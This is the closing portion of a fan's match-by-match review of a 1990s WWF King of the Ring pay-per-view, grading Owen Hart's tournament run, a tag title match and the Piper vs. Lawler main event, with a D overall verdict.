This was a four minute match, and I think they weren’t going after each other for about 4 seconds in their longest stretch. This was on FIRE and was more or less a lucha libre style match. I’ve always thought Owen was a bit overrated but this was awesome. Kid was awesome too as I still say he was better against smaller guys. This was awesome with Owen winning with the Sharpshooter. Kid taps, but we don’t know what that means yet so he has to say he gives up which is just odd to see.

Rating: A. This was short but awesome. This style was so far ahead of its time that I don’t think anyone else on the roster, other than MAYBE Shawn could have pulled off something like this. Why in the world do we have to have Piper vs. Lawler take up 12 minutes when we could have more of this?

Piper rambles…a lot.

Tag Titles: Headshrinkers vs. Crush/Yokozuna

Oh this isn’t going to be good is it? Crush is somehow the most athletic guy in there. The Shrinkers are the faces here and the champion as this match has zero context at all and is the epitome of a token title match. Geez we have Cornette, Fuji, Albano and Afa out there as the 80s circle of B-list managers is complete. Before you freak, yes I know Cornette was the top manager in Crockett but it’s my line so get over it.

Anyway, this really isn’t very good at all and I’m a fan of 75% of the wrestlers in this. Yoko actually loses a headbutting contest. That has never happened that I know of. Naturally there are a ton of botches in here as anyone would expect from these guys. This match, much like this show, is just dragging on and on. The heels take over like everyone expected them to.

They’re using the Colossal Connection formula where Crush is playing Haku and doing most of the work. Yoko isn’t up to the size of Andre yet but he’s getting there. Surprisingly there’s limited interference from a ton of one time heel managers out there.

Anyway, Crush beats up on Samu and hits a legdrop because Hogan is gone and everyone can use that move again since it’s a rather generic move to use. But heeeeeere’s Luger doing the only thing he knows how to do as he’s being annoying again. After a missed rollup, Fatu comes in and gets the rollup correctly for the pin. Weird ending.

Rating: C-. Like I said, this was a token title match. It wasn’t that bad but a lot of this grade is because I like most of the people in there. Ok correction I like one team but not the people on it (screw you Rikishi. Like we were going to buy you as top heel). The styles completely clashed here and while it was an ok match, it wasn’t ever going to be anything great, just like everything else on this show.

KOTR Finals: Owen Hart vs. Razor Ramon

Like I said, the finals were about as predictable as you ever could imagine. Only the Harts can manage to make pink look cool. I think Razor has worn different color tights in every match which someone always does. Ok, right there, Razor shows that he’s at least somewhat intelligent as he does something very smart. Owen goes for a crossbody and Razor was supposed to catch him for the fallaway slam that he does.

They botch it as Owen either doesn’t get high enough or Razor couldn’t get him up enough, but one way or another they messed it up. So what does Razor do? Does he complete the spot anyway but make it look like crap? Nope, instead he sets Owen down and does a regular slam. See, that right there is what you call intelligence and being on your game in a match. See, if they had done the spot anyway, it would have looked bad.

Instead we get a much more basic, yet still completely believable and FAR better executed spot that worked just as well. Razor was smart there and it made things look much better. That’s a great sign. In kind of a tell tale sign, we can see the announcers and Gorilla and Savage are looking down at the monitors as most commentators do while Donovan is looking at the ring.

If nothing else he’s trying. I can’t fault Donovan for not trying. He’s done what he could all night, but it just isn’t working. He’s simply too old and confused here without having enough on camera presence to pull this off. I will say this though: he doesn’t sound bored or miserable about being there, which makes up for a lot. I’ve said this many times: if you don’t want to be there, leave.

The best example of a guy that clearly wanted to be there and was having a lot of fun doing this is Ray Combs from Survivor Series 93. He was a horrible announcer with some of his jokes and misunderstanding of the rules, but dang he was having a blast out there and he didn’t get in the way of the match at all. That’s how you do guest commentary. He added stuff where he could and he made the match a bit more fun.

The key though: he was having a good time, or at least made you believe he was. That’s all I ask. Owen puts on an abdominal stretch and two things come to my attention. First of all, he grabs the rope for additional leverage. The thing is, to me it looks like that’s taking pressure off of Razor. Owen is less than a foot from the ropes as he doesn’t even have to extend his arm to get to them, so how much help is that giving him?

Also, in something that actually made me laugh out loud, he hooks the toe around Razor’s leg which is the common criticism from Gorilla. Ok, so for once we have the perfect abdominal stretch. Gorilla should be happy right? I quote, “This is a mistake by Owen because this hold isn’t going to work on a guy like Razor no matter how well you put it on.” It’s official: Monsoon can never be satisfied, period.

He spends nearly 20 years complaining about no one ever hooking the leg around and the first time anyone does, the hold is worthless anyway. That’s just awesome on about a million levels. After Razor makes his comeback, Jim Neidhart makes his second run in of the night and beats up Razor. A top rope elbow from Owen gives him the win. A Hart Attack follows and Owen is crowned King. He names himself the King of Harts which was his nickname for a very long time.

Rating: C+. Eh, this was ok I guess. Both guys were a bit tired, but the biggest problem was that I don’t think anyone believed that Razor was going to win this. It was always going to be Owen and that was clear for weeks leading into this. The match was ok enough but it still wasn’t great. For a final though with a given ending, this was ok. Both guys were fairly sharp in the ring, so I’ll let this one get by. It wasn’t great, but I’ve seen far worse matches.

We recap the Piper vs. Lawler feud, which was over who had the better interview segment and turned into one liners against each other as Lawler implies that Piper is gay. This just wasn’t that interesting at all as Piper was just an old guy here, which is odd as he was only about two and a half years removed or so from his best in ring work ever.

Oh and there’s some tiny kid that is imitating Piper who plays a big role in this for absolutely no apparent reason. Ok, apparently recap means showing the entire Lawler interview with random Piper comments thrown in with it.

Roddy Piper vs. Jerry Lawler

Yes, this is somehow the main event of a show with a tournament and a world title match on it. Also, they talk about the New Generation as Lawler walks down the aisle. So we have two mostly retired guys representing the new generation. Yeah that makes a ton of sense. Donovan inadvertently points out the biggest flaw in the tournament: Lawler has always been king so it’s very confusing.

He calls himself the undisputed king of the company, despite Owen being crowned about 3 minutes ago. See the problem now? There’s also something about a children’s hospital in Canada as we’ve apparently shifted from King of the Ring to a bad TV movie of the week. Of course Piper has a full team of bagpipe players and drummers. For zero apparent reason, Piper is now best friends with the guy that made fun of him on Raw.

That makes less than zero sense. Apparently Lawler is to blame for the kid putting on the Piper outfit, doing an impression of Roddy, and bowing to King and kissing his feet. Why are we having this match again? That makes no sense at all but we’ll go with it anyway. Oh look Piper wants to talk. He uses the bubblegum line to a HUGE pop. The kid makes some bad jokes too for no apparent reason.

So, from the time Lawler came through the curtain, it took 8 minutes to start the actual match. Gorilla says it’s vintage Piper, and in this case it actually is as he doesn’t actually wrestle but fights. The kid has a crown on. Just take me now. Piper throws some punches to mix it up a little. Donovan thinks Piper doesn’t like Lawler. At least this is almost over. The kid keeps interfering and even Piper gets annoyed with him.

Lawler hasn’t gotten a single move in yet and we’re about 4 minutes in. Roddy has short and almost blonde hair at this point and it’s just not right looking. Lawler goes after the kid and gets beaten on. That’s the story way too many times in this. Make that 6 minutes with nothing from Jerry. Hey there’s a punch, and once he gets Piper dazed a bit, he goes after the kid again. This show just needs to end now. I mean right now. Walk out of the ring and the show will be better instantly.

Apparently by being evil, Lawler is showing his true colors. If that’s the case he’s the biggest patriot I’ve ever seen because he never has a problem showing them. We’re in the corner now with the kid next to the buckle and Piper on his for protection while Lawler kicks Piper. I hate this match. There’s no commentary for a bit either as they have nothing to say or Donovan has wandered off again.

Piper “defends” him by shoving him out of the ring head first. 96% of this match has been punches. I mean they’re not even throwing in any kicks or something like that to vary it up a bit. Why are these two main eventing this show? Can ANYONE explain that to me? Apparently Lawler has patented the sleeper. Does ANYONE ever remember him using that? I know Piper used it, but Lawler?

I think Roddy agreed to give money or part of it or something that he wins here to the hospital. You know, instead of just giving it to them anyway from his own pocket. Lawler hits the only high impact move he knows and Roddy gets up. Piper says bring it on, so Lawler punches him down. That’s just amusing. This is just a bad match and it’s not showing any sign of ending.

Piper hits two bulldogs because the first wasn’t enough I suppose. He sets for a third and the referee goes down. Lawler hits him with the legendary foreign object and Piper is out. To continue the idiocy of this match, Lawler puts his feet on the ropes. That’s not that dumb of course as it’s a standard heel move that made Flair more hated than it was thought humanly possible to be.

No, the stupid part is Piper kicking his feet up into the air while not moving Lawler at all. Hey Roddy: IT MIGHT HELP IF YOU MOVED YOUR ARMS TOO! Seriously he’s just kicking them into the air. You would think he’s having a seizure or something. Anyway the kid shoves Lawler’s feet off the ropes because we just haven’t had enough fun tonight.

Piper botches a belly to back suplex and then botches a cover (Yes, he managed to botch a cover) for the pin to end this as apparently it’s a big deal that it’s Father’s Day. Ok then. Piper celebrates with the kid to end this.

Rating: F. WHAT IN THE HECK WAS THE POINT OF THIS??? It’s the second longest match of the night and it was AWFUL. Literally, 95%+ of that match was just punching. It wasn’t interesting, there was ZERO reason for this to end the show, and that kid was a freaking pest.

Why wasn’t the WWF Title match the main event? It couldn’t have been to send the fans home happy. They were asleep for the most part. Hart won so it’s not like they would have been sad. I’m at a loss for words on this and that’s not something that happens often. I seriously have no clue what they were thinking here.

Overall Rating: D. This whole show was just boring. I haven’t been this bored since those marathon early Summerslams with squash after squash. You can tell there is zero effort or thought into the majority of this show. Seriously, Piper vs. Lawler to close? I don’t get that at all. There were some ok matches here, but man alive they were random.

I mean the Kid and Owen match was gold but it was three and a half minutes long and came from beyond left field. A lot of this stuff just wasn’t going to work no matter what happened. The main problem was there was no drama. Bret wasn’t going to lose just two months after Mania, the Headshrinkers weren’t going to lose, and Owen was a lock to win.

Also, Donovan hurts this a lot. He tried so hard, but it was about as out of place and distracting as you could imagine. I have no idea what the point was there but it failed miserably. Take a pass on this one as it’s boring and more or less other than Owen getting a new nickname, nothing at all of note happens here.

Remember to follow me on Twitter @kbreviews